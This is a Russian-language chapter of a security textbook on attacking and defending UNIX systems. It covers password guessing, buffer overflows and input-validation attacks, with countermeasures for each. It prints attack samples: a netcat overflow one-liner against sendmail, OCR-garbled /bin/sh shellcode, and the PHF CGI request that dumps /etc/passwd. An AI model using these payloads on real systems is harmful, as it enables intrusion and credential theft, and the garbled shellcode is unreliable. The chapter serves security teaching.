Уязвимость UNIX

Бытует мнение, что стремление получить доступ к системе UNIX в качестве пользователя root столь же неискоренимо, как наркотическая зависимость. Причина интереса к таким привилегиям уходит корнями в те времена, когда система UNIX только появилась на свет, поэтому мы предпримем небольшой исторический экскурс и напомним, как эта система возникла и как развивалась.

root: в поисках сокровища

В 1969 году Кен Томпсон (Ken Thompson), к которому несколько позднее присоединился его коллега по работе в компании AT&T Дэнис Ричи (Denis Richie), решили, что проект MULTICS (Multiplexed Information and Computing System) развивается слишком медленно. Они приняли решение "подтолкнуть" этого проект, и в результате появилась новая операционная система, названная UNIX, которая навсегда изменила мир компьютеров. Система UNIX проектировалась как развитая, производительная, многопользовательская операционная система, которая должна была показывать прекрасные результаты при выполнении программ, особенно небольших программ, названных инструментами (tool). Обеспечение безопасности не было ключевым требованием к системе, однако при правильном подходе к настройке UNIX может обеспечивать высокую степень безопасности. Популярность UNIX стала результатом ее открытости для доработок и расширений функций ядра системы, а также благодаря многочисленным небольшим инструментам, делающей эту систему столь мощной. Первые работы по созданию и развитию UNIX велись в основном в компании Bell Labs или в университетах, где безопасность обеспечивалась путем физических мероприятий. Иными словами, любой, кто имел физический доступ к системе UNIX, автоматически считался авторизованным пользователем. Очень часто защита учетной записи root с помощью пароля считалась чем-то ненужным и раздражающим, в связи с чем она отключалась.
Хотя за последние 30 лет операционная система UNIX и ее клоны были значительно усовершенствованы, отношение к безопасности в UNIX изменилось незначительно. Многие недобросовестные разработчики и хакеры изучают ее исходный код в поиске изъянов в системе защиты. Более того, считается престижным опубликовать сведения о найденном недостатке в каком-нибудь списке рассылки, посвященном вопросам безопасности, например Bugtraq. В этой главе мы также будем вести себя как хакеры, чтобы узнать, как можно получить скрытый доступ к системе в качестве пользователя root и зачем это нужно. При чтении материала этой главы не забывайте, что в системе UNIX имеется два уровня доступа — в качестве всемогущего суперпользователя root и в качестве любого другого пользователя. Таким образом, суперпользователя не может заменить никто!

Краткий обзор

Как вы, должно быть, помните, в главах 1-3 мы рассматривали, как идентифицировать систему, работающую под управлением UNIX, и провести инвентаризацию информации, доступной на этой системе. Для этого мы использовали средства сканирования портов, такие как nmap, позволяющие установить перечень открытых TCP/UDP портов, а также определить версию операционной системы или устройства. Для инвентаризации служб RPC и точек монтирования NFS мы использовали, соответственно, утилиты rpcinfo и showmount. Мы также использовали такую универсальную утилиту, как netcat (nc) для сбора маркеров, с помощью которых можно легко установить, какие приложения и каких версий используются на исследуемом компьютере. В этой главе мы продолжим изучение методов исследования системы UNIX. Необходимо помнить, что, прежде чем приступать к глубокому исследованию системы, необходимо провести тщательную подготовку, позволяющую получить как можно более полную картину сетевого окружения и конфигурации изучаемой системы. Сбор информации должен быть как можно более тщательным, чтобы не упустить из виду ни одной детали. Только после получения такой информации можно делать какие-то предположения о потенциальных изъянах, которые могут присутствовать в системе зашиты изучаемого компьютера. Этот процесс называется составлением схемы уязвимых мест.

Составление схемы уязвимых мест

Составление схемы уязвимых мест (vulnerability mapping) — это процесс нахождения соответствия между определенными атрибутами безопасности системы с соответствующими явными или потенциальными изъянами. Данный этап является критичным при проведении реального обследования системы, поэтому его важность нельзя недооценивать. Взломщик должен обязательно составить схему, показывающую, как атрибуты, такие как находящиеся в состоянии ожидания службы, определенные версии запущенных серверов (например, Apache 1.3.9 для HTTP и sendmail — для SMTP), архитектура системы, информация о пользовательских именах и так далее, соотносятся с потенциальными дефектами системы защиты. Для выполнения этой задачи взломщик может воспользоваться одним из следующих методов.

•  Вручную определить, как соотносятся определенные атрибуты системы с информацией о выявленных недостатках, которую можно получить из общедоступных источников, например бюллетеня Bugtraq, на Web-узле координационного центра CERT (Computer Emergency Response Team), специализирующегося на изучении проблем безопасности Internet (http://www.cert.org), и от непосредственных разработчиков тех или иных продуктов. Хотя этот процесс достаточно длителен и утомителен, в результате можно получить очень подробную картину потенциальных уязвимых мест без необходимости непосредственного изучения в интерактивном режиме интересующей взломщика системы.
•  Применить общедоступные специальные инструменты (exploit), которые можно найти в разнообразных списках рассылки, посвященных вопросам безопасности, и на многочисленных Web-узлах. Кроме того, взломщик может написать собственный программный код. Такие программы могут определить наличие реальных уязвимых мест с высокой степенью точности.
•  Использовать средства, предназначенные для автоматического сканирования систем в поисках уязвимых мест. К заслуживающим доверия коммерческим продуктам этого класса относятся Internet Scanner от компании Internet Security Systems (www.iss.net) или CyberCop Scanner от Network Associates (www.nai.com). Из бесплатных утилит можно выделить Nessus (www. nessus.org) И SAINT (http ://www. wwdsi.com/saint/).

У каждого из этих методов имеются свои достоинства и недостатки. Однако необходимо отметить, что только взломщики с низкой квалификацией (так называемые "script kiddies" — малыши) пропускают этап составления схемы уязвимых мест, сразу же пытаясь применить к интересующей их системе первый попавшийся инструмент, не имея ни малейшего представления о том, как и почему данный инструмент может привести к получению результата. Мы нередко были свидетелями реальных попыток взлома с помощью утилит, предназначенных для использования в системе UNIX, которые применялись для проникновения в систему Windows NT. Нет необходимости говорить о том, что такие горе-взломщики сразу же выдавали свою некомпетентность и никогда не добивались желаемого результата. В следующем списке приведена последовательность операций, которые необходимо выполнить при составлении схемы уязвимых мест.

•  Провести исследование сети, в которой находится целевой компьютер.
•  Составить схему соответствия атрибутов, таких как операционная система, архитектура, номера версий служб, находящихся в состоянии ожидания запросов, и так далее, с перечнем известных уязвимых мест и методов проникновения.
•  Идентифицировать ключевые системы и отобрать из них те, на которых стоит сосредоточить усилия.
•  Отобрать потенциальные точки проникновения и определить их приоритеты.

Удаленный и локальный доступ

Остальной материал данной главы разбит на две части, первый из которых посвящен использованию удаленного доступа, а второй — локального. Удаленный доступ (remote access) определяется как доступ к системе, получаемый по сети (например, через сетевую службу, находящуюся в состоянии ожидания) или по другим коммуникационным каналам. О локальном доступе (local access) говорят в тех случаях, когда в распоряжении взломщика уже имеется интерактивный доступ к командной оболочке (command shell) или учетная запись для регистрации в системе (login). Попытки взлома при наличии локального доступа называются также атаками, направленными на расширение привилегий (privilege escalation attack). Важно понимать взаимосвязь удаленного и локального доступа. Логическая последовательность выполняемых взломщиком действий заключается в проникновении с помощью удаленного доступа, используя какой-либо изъян в защите службы, находящейся в состоянии ожидания запросов, с последующим получением локального доступа к командной оболочке. После получения интерактивного доступа к командной строке взломщик считается локальным пользователем системы. Поэтому сначала мы попытаемся логически отделить те типы взломов, которые используются для получения удаленного доступа, а затем рассмотрим соответствующие примеры. После этого мы покажем типичные методы, с помощью которых хакер, получивший удаленный доступ, может расширить свои локальные привилегии с целью сбора информации о локальной системе. Впоследствии с помощью этой информации он может попытаться расширить сферу своего влияния. Необходимо подчеркнуть, что данная глава, конечно же, не является исчерпывающим руководством по обеспечению безопасности системы UNIX. Если вам нужна более подробная информация, можно порекомендовать книгу Practical UNIX & Internet Security Симеона Гарфинкеля (Simson Garfinkel) и Джена Спаффорда (Gene Spafford). Кроме того, ограниченный объем данной главы не позволяет включить в нее описание всех возможных методов проникновения в систему UNIX, особенно с учетом всего разнообразия ее клонов и версий. Мы лишь попытаемся определить категории возможных методов взлома и изложить их теоретические основы. При появлении новых методов атак эта информация позволит быстрее разобраться, как эти методы работают, даже если в литературе вы не найдете соответствующего описания. Как видите, мы предпочитаем не просто однократно "накормить голодного", а "научить его ловить рыбу, чтобы он смог сам прокормить себя в любое время".

Удаленный доступ

Как уже говорилось выше, для удаленного доступа используется локальная сеть или какой-либо другой коммуникационный канал, такой как модемная связь с системой UNIX, выступающей в роли сервера удаленного доступа. Исходя из нашего опыта, мы можем сказать, что большинство организаций заботит именно безопасность удаленного доступа, осуществляемого по каналам аналоговой связи или ISDN. Однако мы ограничим наше исследование лишь методами получения доступа к системе UNIX по сети через протокол TCP/IP. В конце концов, протокол TCP/IP является краеугольным камнем Internet, поэтому именно эта тема заслуживает первоочередного внимания при обсужле-нии вопросов обеспечения безопасности UNIX.
Средства массовой информации создали некий миф вокруг темы нарушена-: системы защиты системы UNIX, согласно которому для этого нужно проявить сг-реиг-ленное искусство, граничащее с мистикой. На самом деле существует три впо.:-;е реальных основных метода для удаленного проникновения через систему зашиты UNIX
1. Проникновение через службу, находящуюся в состоянии ожидания запросов (TCP/UDP).
2. Использование в качестве плацдарма системы UNIX, обеспечивающей безопасность двух или более сетей.
3. Применение методов удаленного взлома, подразумевающих скрытое вовлечение пользователей (созданный с преступным умыслом специальный Web-узел, электронная почта с вложенным "троянским конем" и т.д.).
Давайте рассмотрим несколько примеров, которые помогут нам лучше разобраться в различных типах атак, относящихся к одной из этих категорий.

•  Проникновение через службу, находящуюся в состоянии ожидания запросов. Кто-то дает вам идентификатор пользователя и пароль и говорит: "Взломай мою систему". Именно так обстоит дело с проникновением через службу, находящуюся в режиме ожидания. Действительно, как можно зарегистрироваться в системе, если в ней не запущены службы, позволяющие интерактивную регистрацию (telr.et. ftp. rlogin или ssh)? А как насчет обнаруженных лишь на этой неделе очередных изъянах службы wu-ftpd? В вашей системе они имеются? Вполне возможно. сдна:<о взломщики, скорее всего, будут использовать для получения доступа служб) -.-.-_-f tpd только в том случае, если она запущена и находится в состоянии ожидания. Таким образом, можно жестко сформулировать правило — доступ через службу можно получить тогда и только тогда, когда она находится в состоянии ожидания запросов. В противном случае удаленный доступ через нее получить невозможно.
• Использование брандмауэра в качестве маршрутизатора. Через ваш брандмауэр, на котором установлена система UNIX, в сеть проник взломщик. "Этого не может быть, — скажете вы, — ведь мы не поддерживаем никаких входящих служб!" Во многих случаях взломщики обходят брандмауэры UNIX путем маршрутизации своих пакетов через брандмауэры под видом пакетов, исходящих от внутренних систем. Эта уловка срабатывает, поскольку в ядре UNIX по умолчанию включен режим пересылки IP-пакетов для тех приложений, которым такой режим нужен. Поэтому очень часто взломщику и не нужно взламывать сам брандмауэр — достаточно использовать его в качестве маршрутизатора.
•  Удаленный взлом с вовлечением пользователей. Вы отключили все опасные для системы защиты UNIX службы и полагаете, что обеспечили безопасность? Не спешите с выводами! А что, если кто-то из пользователей попробует открыть страницу по адресу вроде http://www.evilhacker.org и броузер выполнит вредоносный код, в результате чего будет установлено обратное соединение с этим узлом? Тогда компьютер, находящийся по адресу evilhacker.org, сможет получить доступ к пользовательскому компьютеру. Трудно даже представить, какие последствия может повлечь за собой работа в Web под именем суперпользователя root! Что произойдет, если ваша программа сетевых пакетов окажется восприимчивой для атак, приводящих к переполнению буфера (http: //www.w00w00.org/advisories/snoop.html)?

В этом разделе мы рассмотрим типичные методы удаленных атак, которые подпадает под одну из приведенных выше категорий. Если вы хотите понять, как взломщику далось проникнуть в систему, попробуйте найти ответы на три следующих вопроса.
1. Используются ли службы, находящиеся в состоянии ожидания запросов?
2. Поддерживает ли система маршрутизацию?
3. Выполнял ли пользователь или пользовательская программа команду, которая могла стать причиной нарушения системы защиты?
Мы уверены, что вы дадите положительный ответ по крайней мере на какой-то адин из этих вопросов.

Подбор паролей

Обсуждение возможных методов взлома системы UNIX мы начнем с одного из самых популярных — подбора пароля путем простого перебора всех возможных вариантов, т.е. атаки "в лоб" (brute force attack). Такой подход может претить эстету хакинга, но, так или иначе, он был и остается одним из самых эффективных способов получения доступа к системе UNIX. Взлом путем перебора представляет собой не что иное, как подбор комбинации "идентификатор UID/пароль" для получения доступа к службе, которая до предоставления определенных привилегий выполняет аутентификацию пользователя. Среди самых популярных типов служб, которые чаще всего подвергаются подобным атакам можно выделить следующие.

•  telnet
•  FTP (File Transfer Protocol)
•  r-утилиты (rlogin, rsh и т.д.)
•  Secure Shell (ssh)
•  Имена доступа SNMP
•  POP (Post Office Protocol)
•  HTTP/HTTPS (Hyper Text Transport Protocol)

Как вы помните из предыдущих глав, посвященных исследованию сети и инвентаризации сетевых ресурсов, одной из самых главных задач, которые необходимо решить взломщику на этом этапе, — это установить реальные идентификаторы пользователей системы. С этой целью могут использоваться такие службы, как finger, rusers и sendmail. Получив список пользовательских учетных записей, взломщик может попытаться получить доступ к интересующей его системе путем подбора пароля к одной из этих учетных записей. К сожалению, многие пользовательские учетные записи защищаются либо с помощью легко угадываемого пароля, либо вовсе не имеют пароля. Самым лучшим примером этого правила является учетная запись рядового пользователя, в которой, как правило, пользовательское имя и пароль идентичны. Чем больше пользователей имеют доступ к системе, тем больше вероятность, что в ней найдется по крайней мере один такой пользователь. Можете поверить нам на слово, на своем веку мы встречали тысячи подобных случаев, занимаясь проверкой безопасности разных компаний. Почему же это явление столь распространено? Все очень просто: во-первых, люди не задумываются о том, как нужно выбирать пароли, а во-вторых, от них никто этого не требует.
Хотя пароль можно подобрать вручную, зачастую для этого применяются утилиты, автоматизирующие этот процесс. Среди многочисленных общедоступных утилит такого рода можно выделить следующие.

•  Brutus (http://www.hoobie.net/brutus/)
•  brute_web.c (http: //packetstorm.securify.com/
  Exploit_Code_Archive/brute_web.с)
•  pop.с (http://packetstorm.securify.com/
  groups/ADM/ADM-pop.c)
•  middlefinger (http://www.njh.com/latest/9709/970916-05.html) 
•  TeeNet (http://www.phenoelit.de/tn/)

Защита от подбора паролей "в лоб"

Наилучшим способом защиты от подбора пароля является использование трудно угадываемых паролей. В идеальном случае желательно использовать механизм одноразовых паролей. Существует ряд бесплатных утилит (табл. 8.1), с помощью которых решение задачи подбора пароля можно значительно затруднить.

Таблица 8.1.Бесплатные утилиты, которые позволяют защититься от подбора паролей "в лоб"

•  Обеспечение того, чтобы все пользователи применяли пароли.
•  Принудительная смена паролей один раз в 30 дней для привилегированных пользователей и один раз в 60 дней для обычных пользователей.
•  Минимальная длина пароля должна составлять шесть символов, а еще лучше — восемь.
•  Регистрация неудачных попыток аутентификации.
•  Настройка служб таким образом, чтобы после трех неудачных попыток регистрации выполнялся разрыв соединения.
•  Реализация режима блокировки учетных записей везде, где это возможно (не забывайте при этом о возможных проблемах, связанных с отказом в обслуживании, специально вызываемых действиями взломщика).
•  Отключение неиспользуемых служб.
•  Использование средств генерации паролей, не позволяющих пользователям выбирать легко угадываемые пароли.
•  Не использовать один и тот же пароль для доступа к разным системам.
•  Не допускать, чтобы пользователи записывали свои пароли.
•  Не допускать разглашения паролей посторонним.
•  Использовать при возможности одноразовые пароли.
•  Обеспечение того, чтобы встроенными учетными записями вида setup и admin не использовались пароли, установленные для них по умолчанию.

Дополнительную информацию по выбору паролей можно найти в документе AusCERT SA-93:04.

Взлом с использованием данных

Обсудив "притчу во языцах" — взлом с помощью подбора паролей, — можно перейти к другому методу, также ставшему стандартом "де факто" при получении удаленного доступа. Этот метод заключается в использовании для взлома определенных данных (data driven attack), отправляемых активной службе, что позволяет получить неожиданные или нежелательные результаты. Конечно, формулировка "неожиданные или нежелательные" достаточно субъективна. Все зависит от того, кто вы — хакер или же программист, разработавший соответствующую службу. С точки зрения взломщика, результат может быть более чем желательным, поскольку в этом случае он сможет получить доступ к интересующему его компьютеру. С точки зрения же программиста, программа, получившая данные, к приему которых она не была готова, выдает нежелательные результаты. Методы взлома с использованием данных можно разделить на две категории: атака путем переполнения буфера и взлом при отсутствии проверки ввода. В последующих подразделах каждая из этих категорий будет рассмотрена более подробно.

Взлом путем переполнения буфера

В ноябре 1996 года подходы к компьютерной безопасности изменились раз и навсегда. Ведущий списка рассылки Bugtraq Алеф Ван (Aleph One) опубликовал в номере 49 журнала Phrack Magazine, посвященного вопросам безопасности, статью под названием "Разрушение стека для развлечения и извлечения выгоды" (Smashing The Stack For Fun And Profit). Эта статья произвела колоссальный эффект на состояние дел в сфере обеспечения безопасности, поскольку в ней очень ясно показано, как практика некачественного программирования может привести к нарушению безопасности путем переполнения буфера. Первые упоминания об использовании этой методологии датируются 1988 годом в связи с нашумевшим делом о сетевом черве Роберта Морриса (Robert Morris), однако полезной информации о ее конкретных подробностях не было вплоть до 1996 года.
Состояние переполнения буфера (buffer overflow) возникает тогда, когда пользователь или процесс пытается поместить в буфер (или массив фиксированного размера) данных больше, чем для этого выделено памяти программистом. Подобная ситуация зачастую связана с использованием таких функций языка С, как strcpy (), strcat (} и sprintf (), а также ряда других. Переполнение буфера обычно приводит к генерации ошибки нарушения сегментации. Однако это состояние может вызываться преднамеренно с целью получения доступа к системе. Хотя мы рассматриваем методы взлома с помощью удаленного доступа, переполнение буфера может происходить и в локальных программах, о чем мы поговорим несколько позже. Для того чтобы лучше понять, как этот метод взлома срабатывает на практике, давайте рассмотрим один очень простой пример.
Допустим, для вводимых данных в программе выделяется буфер фиксированного размера 128 байт. Предположим, что этот буфер создается для размещения данных, поступающих от команды VRFY программы sendmail. Как вы помните из главы 3, эта команда использовалась для того, чтобы установить потенциальных пользователей по их почтовым адресам. Предположим также, что sendmail запущена в контексте прав SU1D пользователя root и пользуется его привилегиями (во многих системах этот так и есть, хотя и не всегда). Что произойдет, если взломщик подключится к демону sendmail и отправит в качестве параметра команды VRFY строку состоящую из 1000 символов а, а не короткое имя пользователя?
echo "vrfy 'perl -е 'print "a" x 1000''" |nс www.targetsystem.com 25
Поскольку буфер, предназначенный для хранения параметра VRFY, имеет размер всего 128 байт, возникнет ситуация его переполнения. Это может привести к генерации состояния DoS и аварийному завершению демона sendmail. Однако более опасными являются ситуации, когда программа, буфер которой переполнился, продолжает работать и выполняет при этом программный код, переданный ей в виде избыточных данных. Именно это и является основным смыслом рассматриваемой в данном разделе атаки.
Вместо того, чтобы отправлять бессмысленную строку, состоящую из 1000 символов а, взломщик, скорее, передаст определенный набор кодов, который после переполнения буфера выполнит команду /bin/sh. Если, как мы условились, sendmail работает с привилегиями суперпользователя, то после запуска /bin/sh взломщик сразу же сможет получить доступ в качестве суперпользователя. Возможно, вы никак не можете понять, каким же образом программа sendmail узнает, что ей нужно выполнить команду /bin/sh? Все очень просто. В процессе взлома в качестве параметра команде VRFY передается строка, содержащая некоторый ассемблерный код, призванный вызвать переполнение буфера. При переполнении буфера адрес возврата переустанавливается на код, переданный хакером, что позволяет последнему получить полный контроль над программой. Иными словами, вместо возврата управления из функции по нужному адресу выполняется некоторый код взломщика, передаваемый в этом же пакете данных и запускающий команду /bin/sh.
Конечно, необходимо помнить, что ассемблерный код очень сильно зависит от архитектуры и используемой операционной системы. Поэтому данные, используемые для переполнения буфера системы Solaris, установленной на компьютерах с процессорами Intel, не имеют ничего общего с данными, предназначенных для взлома системы Solaris компьютеров SPARC. Следующий пример показывает, как выглядит машинный код (такой код еще называют "яйцом" (egg), по аналогии с яйцами кукушки, которые она подкладывает в чужие гнезда), предназначенный переполнения буфера на платформе Linux X86.

char shellcode[]= "\xeb\xlf\x5e\x89\x76\x08\x31\xcO\
x88\x46\x07\x89\x46\xOc\xbO\xOb"
"\x89\xf3\x8d\x4e\x08\x8d\x56\xOc\xcd\
x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Очевидно, что взлом с помощью переполнения буфера чрезвычайно опасен. Достаточно сказать, что он не раз использовался во многих успешных попытках получения несанкционированного доступа. Приведенный выше пример очень прост. На самом деле работающий код создать очень трудно. Однако зачастую изобретать велосипед не приходится: множество таких "яиц" уже было создано хакерами и помещено в Internet. Описание деталей процесса создания "яйца" выходит за рамки этой книги, поэтому мы советуем познакомиться с упоминавшейся выше статьей хакера Алефа Вана в журнале Phrack Magazine.  Если вы хотите улучшить свои навыки написания ассемблерного кода, прочтите книгу Криса Дрейка (Chris Drake) и Кимберли Браун (Kimberley Brown) Panic — UNIX System Crash and Dump Analysis. Кроме того, группа программистов и специалистов по безопасности Тесо (Teso) разработала несколько утилит, которые позволяют автоматически генерировать подобный код. Эти средства можно найти по адресу http://teso.scene.at/releases.php.

Контрмеры: защита от атак с использованием переполнения буфера

Практика безопасного кодирования

Лучшим методом зашиты от переполнения буфера является практика кодирования, учитывающего все требования обеспечения безопасности. Хотя на практике невозможно спроектировать и запрограммировать систему таким образом, чтобы в ней не было ни одной ошибки, существуют подходы, способные минимизировать вероятность возникновения переполнения буфера. Среди таких рекомендаций можно выделить следующие.

•  При проектировании программы всегда оценивайте ее с точки зрения безопасности. К сожалению, зачастую программы создаются наспех, чтобы успеть к поставленному сроку. В таких ситуациях безопасность — это последнее, о чем думают разработчики. При этом поставщики программного обеспечения даже не беспокоятся о том, чтобы своевременно устранять изъяны по мере их обнаружения. Более подробная информация по этому вопросу приведена в разделе Secure UNIX Program по адресу http://www.whitefang.com/sup/index.html.
•  Рассмотрите возможность использования безопасного компилятора, такого, например, как StackGuard, разработанного в рамках проекта Immunix . В этом компиляторе используется подход, заключающийся в "вакцинации" программ во время компиляции, что позволяет свести к минимуму риск возникновения переполнения буфера. Кроме того, к механизмам защиты относится динамическая библиотека libsafe, предназначенная для перехвата вызовов уязвимых функций на уровне операционной системы.  Помните о том, что подобные механизмы нельзя рассматривать как "серебряную пулю", так что при их использовании все же не стоит забывать о необходимости обеспечения безопасности.
•  Нужно проверять все аргументы, получаемые от пользователя или какой-либо программы. Такая проверка, конечно, может замедлить некоторые приложения, но это не очень высокая цена за безопасность. При проведении проверки особое внимание необходимо уделять принадлежности используемых значений корректным диапазонам, особенно для переменных окружения.
•  Используйте безопасные процедуры, такие как fget(), strncpy() и strncat () и проверяйте коды возврата системных вызовов.
•  Уменьшите количество кода, запускаемого с привилегиями root. Этого можно достичь за счет минимизации использования программ, которым требуются права SUID суперпользователя. Если даже злоумышленнику удастся успешно применить к такой программе атаку с переполнением стека, то ему все равно придется повышать полученные привилегии до уровня root.
•  И наконец, применяйте все модули обновления, предоставляемые поставщиком программного обеспечения.

Тестирование и аудит каждой программы

Очень важно выполнять тестирование и аудит каждой программы. Очень часто случается, что программисты даже не задумываются о том, может ли в их программе возникнуть ошибка переполнения буфера. Однако всегда найдется кто-нибудь, кто не только задумается над этим, но и приложит все усилия для того, чтобы найти такие ошибки и воспользоваться ими в своих целях. Одним из лучших примеров тестирования и аудита кода UNIX является проект OpenBSD (www.openbsd.org), которым руководит Тео де Раадт (Theo de Raadt). Программисты, работающие над проектом OpenBSD, постоянно проверяют и перепроверяют исходный код друг друга и уже исправили сотни ошибок, которые могут привести к переполнению буфера, не говоря уже о более серьезных проблемах, имеющих отношение к безопасности. Именно из-за столь грамотного подхода к тщательному аудиту, применяемого разработчиками OpenBSD, эта операционная система заслужила репутацию одной из самых надежных из свободно распространяемых версий UNIX.

Отключение неиспользуемых или потенциально опасных служб

На протяжении этой главы мы будем возвращаться много раз к этому вопросу. Если какие-то неиспользуемые или потенциально опасные службы не являются жизненно необходимыми для работы системы UNIX, отключите их. Помните, что ни один злоумышленник не может проникнуть в систему через неработающую службу. Кроме того, мы настоятельно рекомендуем использовать TCP-оболочки (tcpd) и xinetd (http://www. synack.net/xinetd/) для того, чтобы можно было применить избирательные списки управления доступом на уровне служб, а также воспользоваться дополнительным возможностями регистрации событий. Конечно, не к каждой службе можно применить оболочку. Однако применение этого средства лишь к некоторым службам может значительно повысить защищенность вашей системы. Кроме того, оцените возможность использования режима фильтрации пакетов на уровне ядра, поддержка которого уже стала стандартной для большинства бесплатных операционных систем UNIX (например, ipchains или netf liter для Linux, ipf для BSD). Хорошие рекомендации по использованию ipchains для обеспечения безопасности можно найти по адресу http://www.linuxdoc.org/HOWTO/IPCHAINS-HOWTO.html. Пакет ipf Даррена Рида (Darren Reed) является одним из лучших и может быть добавлен во многие версии системы UNIX. Для получения об этом пакете более подробной информации обращайтесь по адресу http: //www.obfuscation. rg/ ipf / ipf-howto. html.

Отключение режима поддержки выполнения стека

Некоторые радетели чистоты нередко прибегают даже к отключению режима поддержки выполнения стека (stack execution), чтобы обеспечить защиту каждой программы от взлома с помощью переполнения буфера. Хотя такое решение может привести к некоторым побочным эффектам, в большинстве систем оно все же обеспечивает защиту от скрытого использования уязвимых мест. Для Linux имеется модуль обновления, позволяющий отключить режим поддержки выполнения стека, который можно применять в системах с ядром версий 2.0.x и 2.2.x Первым разработал такой модуль хакер Solar Desinger (http://www.false.com). Этот модуль обновления, ценный в основном для программистов, можно найти по адресу http: //www. openwall. com/linux/.
Для системы Solaris версии 2.6 и 7 мы настоятельно рекомендуем включить поддержку режима, запрещающего выполнение стека (no-stack execution). Это позволит обезопасить систему Solaris от применения множества методов взлома, приводящих к переполнению буфера. Хотя прикладной двоичный интерфейс (ABI — Application Binary Interface) компаний Intel и SPARC позволяет выполнять код, находящийся в сегменте стека, большинство программ будет работать вполне корректно даже при отключенном стеке. По умолчанию в системах Solaris 2.6 и 7 режим выполнения стека включен. Для того чтобы отключить поддержку этого режима, добавьте следующую строку в файл /etc/system file.
set noexec_user_stack=l 
set noexec_user_stack_log=l
Помните, что запрещение выполнения стека — не панацея. Отключив этот режим, обычно можно зарегистрировать любую программу, которая попытается выполнить код. помещенный в стек, и таким образом можно остановить взломщиков с низкой квалификацией. Однако опытные взломщики чрезвычайно изобретательны и вполне могут написать код (и воспользоваться им), который приведет к переполнению буфера с последующим взломом системы, несмотря на то, что в ней запрещено выполнение стека.
В то время как многие администраторы изо всех сил пытаются предотвратить переполнение стека, отключив режим выполнения помещенного в него кода, их подстерегают другие опасности, причиной которых является несовершенный код. В наши планы не входит подробное рассмотрение этого вопроса. Достаточно лишь сказать, что переполнение в свободной памяти (которая называется также кучей (heap) или динамической памятью) также может оказаться достаточно опасным. В этом случае переполняется память, динамически распределенная приложением. Такой тип переполнения отличается от переполнения стека, зависящего от длины фиксированного буфера. К сожалению, разработчики программного обеспечения, как правило, не предусматривают аналогичного параметра, позволяющего запретить выполнение стека. Таким образом, просто запретит) выполнение кода, помешенного в стек, нельзя обеспечить достаточно высокий уровень зашиты. Дополнительную информацию о переполнении динамической памяти можно найти в результатах исследований группы w00w00 по адресу http://www.w00w30.org/files/heaptut/heaptut.txt.

Взлом при отсутствии проверки ввода

В 1996 году Дженифер Майерс (Jennifer Myers) идентифицировал ставший впоследствии широко известным изъян PHF. Хотя атаки с использованием этого изъяна уже отошли в прошлое, на его примере очень хорошо видно, как может осуществляться взлом при отсутствии проверки ввода (input validation attack). Если вы разберетесь в основном механизме этого метода, то сможете применить полученные знания и к другим подобным подходам. В данной главе мы не будем посвящать много времени этой теме, поскольку она подробно рассматривается в главе 15. Наша цель — лишь показать, что из себя представляет взлом при отсутствии проверки ввода и как с его помощью злоумышленник может получить доступ к системе UNIX.
Для осуществления такой атаки необходимо, чтобы выполнялись следующие условия.

•  Программа не в состоянии распознать синтаксически некорректные данные.
•  Модуль воспринимает посторонние данные.
•  Модуль не в состоянии обработать ситуацию отсутствия определенных полей.
•  Возникает ошибка корреляции значений полей.

PHF— это сценарий CGI (Common Gateway Interface— интерфейс общего шлюза), ставший стандартом в ранних версиях Web-сервера Apache и сервера HTTPD центра NCSA (National Center for Supercomputing Applications — Национальный центр суперкомпьютерных приложений). К сожалению, эта программа не в состоянии ни правильно провести синтаксический анализ входных данных ни проверить их пригодность. Исходная версия сценария PHF принимала символ новой строки (%0а) и выполняла следующие за ним команды с привилегиями пользователя, запустившего Web-сервер. Поэтому сразу же был изобретен метод взлома PHF, показанный ниже. 
/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
На момент написания этой книги данный код не мог выполнить ничего, кроме вывода файлов паролей с помощью команды cat. Конечно, эта информация может использоваться для определения идентификаторов пользователей, а также зашифрованных паролей (при условии, что пароли не содержатся в файле с повышенной защитой shadow). В большинстве случаев этого достаточно, чтобы даже неопытный злоумышленник смог взломать файл паролей и зарегистрироваться в системе. Опытный же взломщик сможет не только проникнуть в систему, но и получить прямой доступ к командной оболочке, как будет показано ниже в этой главе. Помните, что этот изъян позволяет взломщику выполнить любую команду с привилегиями пользователя, от имени которого запущен Web-сервер. В большинстве случаев, конечно, таким пользователем является nobody, однако, к сожалению, нередко встречаются узлы, на которых Web-сервер работает на уровне привилегий суперпользователя root, — ни больше, ни меньше!
В 1996-1997 годах взломы PHF были очень популярны. От этих простых, но очень эффективных приемов пострадали очень многие Web-узлы. Поскольку данный подход пригоден и для проведения других взломов при отсутствии проверки ввода, необходимо хорошо понимать, как именно данный изъян используется злоумышленниками. В системе UNIX имеются метасимволы, зарезервированные для специальных целей. К таким метасимволам относятся следующие (данный перечень не является исчерпывающим).
\ /<>!$% ^ & * | {}[]`"` ~ ;
Если программа (или сценарий CGI) принимает какие-то данные, вводимые пользователем, и не проверяет их корректность, то такая программа может подвергнуться взлому с помощью специально подобранного кода. Этот метод обычно называется "выбросом" (escaping out) в командную оболочку и позволяет передать в качестве параметра один из метасимволов UNIX. Данный подход очень распространен и не ограничивается одними лишь сценариями PHF. Имеются многочисленные примеры незащищенных программ CGI, входящих в базовый комплект поставки Web-серверов. Что еще хуже, многие уязвимые программы создаются "профессиональными" разработчиками Web-узлов, имеющими весьма смутное представление о безопасности. К сожалению, с развитием электронной коммерческой деятельности и появлением множества соответствующих приложений с дополнительным набором функций (увеличивающих, соответственно, их сложность), количество таких взломов только возрастает.

Контрмеры

Как уже упоминалось раньше, одним из лучшим способов превентивной защиты является разработка программ с учетом требований обеспечения безопасности. Это же правило можно в полной мере применить и к защите от описанного выше взлома. Абсолютно необходимо, чтобы программы и сценарии воспринимали только те данные, которые они должны воспринимать. В разделе часто задаваемых вопросов WWW Security, расположенном по адресу http://www.w3.org/Security/Faq/www-security-faq.html, содержится важная информация о том, как сделать защищенными программы CGI. Поскольку очень трудно выполнять проверку каждой порции входных данных, лучше, чтобы эти процедуры по умолчанию отбрасывали все критические данные. Кроме того, после компиляции тщательно контролируйте и тестируйте весь программный код.

Интерактивный доступ к командной оболочке

